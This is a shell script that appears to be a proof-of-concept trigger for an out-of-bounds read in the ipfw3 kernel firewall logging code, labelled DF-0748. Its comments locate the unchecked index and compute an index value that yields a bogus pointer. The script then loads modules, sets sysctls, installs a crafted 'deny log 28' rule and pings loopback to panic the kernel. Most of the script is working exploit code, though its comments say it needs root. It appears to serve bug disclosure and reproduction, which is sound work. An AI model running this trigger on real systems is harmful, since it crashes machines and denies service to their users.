#!/bin/sh
# DF-0748 trigger: unchecked uint16_t index into 10-element log_if_table[]
#
# Bug: ip_fw3_log.c:121  the_if = log_if_table[id]   (id is uint16_t, NO check id<10)
#       ip_fw3_log.c:122  the_if->if_bpf              (deref of OOB-read pointer)
#       ip_fw3_log.h:39   #define LOG_IF_MAX 10
#       sbin/ipfw3/ipfw3basic.c:93,110  (*cmd)->arg1 = strtoul(N)  NO bounds check
#
# Reachability: ipfw3 rule install requires IP_FW_X setsockopt on a raw IP socket,
# gated by caps_priv_check(SYSCAP_NONET_RAW) in raw_ip.c:473. => ROOT-ONLY.
# This is a root->kernel hardening gap (no unprivileged path), NOT a privesc.
#
# Setup order matters:
#   - default-to-accept so loading ipfw3 does not drop SSH
#   - verbose=1 BEFORE rule install (else ip_fw3_log() short-circuits at line 118)
#   - rule matches ONLY ICMP on loopback (so SSH packets are not denied)
#   - ping -c1 127.0.0.1 to fire exactly one matching packet

set -u
PATH=/sbin:/bin:/usr/sbin:/usr/bin
echo "[*] DF-0748 trigger starting as $(id)"

# default-to-accept must be set BEFORE kldload ipfw3 (read at MOD_LOAD)
sysctl net.filters_default_to_accept=1 2>&1
kldload ipfw3       2>&1 || echo "[!] ipfw3 already loaded"
kldload ipfw3_basic 2>&1 || echo "[!] ipfw3_basic already loaded"
kldstat | grep -i ipfw

# verbose=1 is the GATE for ip_fw3_log() to do the OOB read (ip_fw3_log.c:118)
sysctl net.inet.ip.fw3.verbose=1 2>&1
sysctl net.inet.ip.fw3.verbose    2>&1

# id=28 reads fake_eh[0..8] at module offset 0x100 (verified via `nm ipfw3_basic.ko`):
#   log_if_table @ 0x20 (spans 0x20..0x70), fake_eh @ 0x100  -> id=(0x100-0x20)/8 = 28
# bytes {0x41*6,0x42*2} -> ptr 0x4242424141414141 (non-canonical) -> page fault on
# `the_if->if_bpf` at ip_fw3_log.c:122.
# install rule that ONLY matches ICMP on loopback (SSH traffic unaffected)
ipfw3 add 1000 deny log 28 icmp from 127.0.0.1 to 127.0.0.1 2>&1
ipfw3 show 2>&1 | head

echo "[*] sending one matching ICMP packet -> expect panic now"
ping -c1 -t1 127.0.0.1 2>&1
echo "[!] if you can read this, no panic happened (FIXED kernel or verbose=0)"
exit 0
